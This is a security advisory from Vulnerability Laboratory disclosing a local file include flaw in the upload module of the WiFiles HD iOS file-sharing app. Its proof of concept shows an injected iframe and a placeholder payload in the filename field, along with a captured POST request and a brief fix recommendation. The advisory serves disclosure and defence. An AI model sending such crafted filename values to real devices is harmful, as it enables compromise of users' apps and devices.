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Document Title:
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===============
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WiFiles HD v1.3 iOS - File Include Web Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1214
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Release Date:
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=============
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2014-02-22
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1214
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Common Vulnerability Scoring System:
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====================================
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7.1
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Product & Service Introduction:
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===============================
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WiFiles HD for iPad is an easy to use file storage/sharing app. Transfer files using wifi or iTunes File Transfer to & from your Mac/PC with ease.
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Updated- transfer files in background now supported. Store movies, photos, music, and any other file you wish. In app filesharing supports opening
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files in supporting third party apps.
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( Copy of the Homepage: https://itunes.apple.com/us/app/wifiles-hd/id436227200 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research team discovered a local file include web vulnerability in the official Mr Burns - WiFiles HD v1.4 iOS mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-02-22: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Apple AppStore
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Product: WiFiles HD - iOS Web Server & Web Application 1.3
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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A local file include vulnerability has been discovered in the official WiFiles HD v1.4 iOS mobile web-application.
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The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests
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or system specific path commands to compromise the web-application/device.
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The vulnerability is located in the upload module of the mobile web-application interface. Remote attackers can
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manipulate the `upload > submit` POST method request with the vulnerable `filename` value to compromise the application
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or connected device components.
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The issue allows remote attackers to include local app path values or wifi web-server files. The exploitation appears
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on the application-side and the inject request method is POST. The exection occurs in the main index file dir list.
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The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability
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scoring system) count of 7.0(+)|(-)7.1.
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Exploitation of the local file include vulnerability requires no user interaction or privileged mobile application user account.
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Successful exploitation of the file include web vulnerability results in mobile application compromise, connected device compromise
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or web-server compromise.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] Upload
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Vulnerable Procedure(s):
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[+] Submit
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Vulnerable Parameter(s):
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[+] filename
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Affected Module(s):
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[+] File Dir Index Listing (http://localhost:8080)
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Proof of Concept (PoC):
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=======================
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The local file include web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
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For security demonstration or to reproduce the file include web vulnerability follow the provided information and steps below to continue.
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PoC: Exploit - filename
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<html><head><title>Files from WiFiles HD</title><style>html {background-color:#000000} body
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{ background-color:#96969b; font-family:Tahoma,Arial,Helvetica,sans-serif; font-size:18x; margin-left:15%;
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margin-right:15%; border:3px groove #006600; padding:15px; } </style></head><body><h1> WiFiles HD:</h1>
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<bq>Please do not leave this page until transfers are complete.
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Refresh the page before attempting to transfer files if you close the server in WiFiles HD.
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</bq><p style="color:white"><a href="137.png">137.png</a>
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( 279.0 Kb, 2014-02-22 14:04:01 +0000)<br>
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<a href="e4c167621c2e61.jpg">e4c167621c2e61.jpg</a>
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( 23.8 Kb, 2014-02-22 14:04:10 +0000)<br>
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<a href="<iframe src=a>"><./<[LOCAL FILE INCLUDE VULNERABILITY!]>"></a>
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( 23.8 Kb, 2014-02-22 14:09:20 +0000)<br />
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</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label><input type="file" name="file" id="file" /></label>
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<label><input type="submit" name="button" id="button" value="Submit" /></label></form></body></html></iframe></a></p></body></html>
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--- PoC Session Logs [POST] ---
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04:02:59.326[191ms][total 1633ms] Status: 200[OK]
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POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[1056] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:8080/]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------213382078724824
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Content-Disposition: form-data; name="file"; filename="./<[LOCAL FILE INCLUDE VULNERABILITY!]>"
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Content-Type: image/jpeg
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Solution - Fix & Patch:
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=======================
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The vulnerability can be patched by a secure encode, parse and restriction of the vulnerable filename value in the upload POST method request.
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Security Risk:
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==============
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The security risk of the local file include web vulnerability is estimated as high.
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
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Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |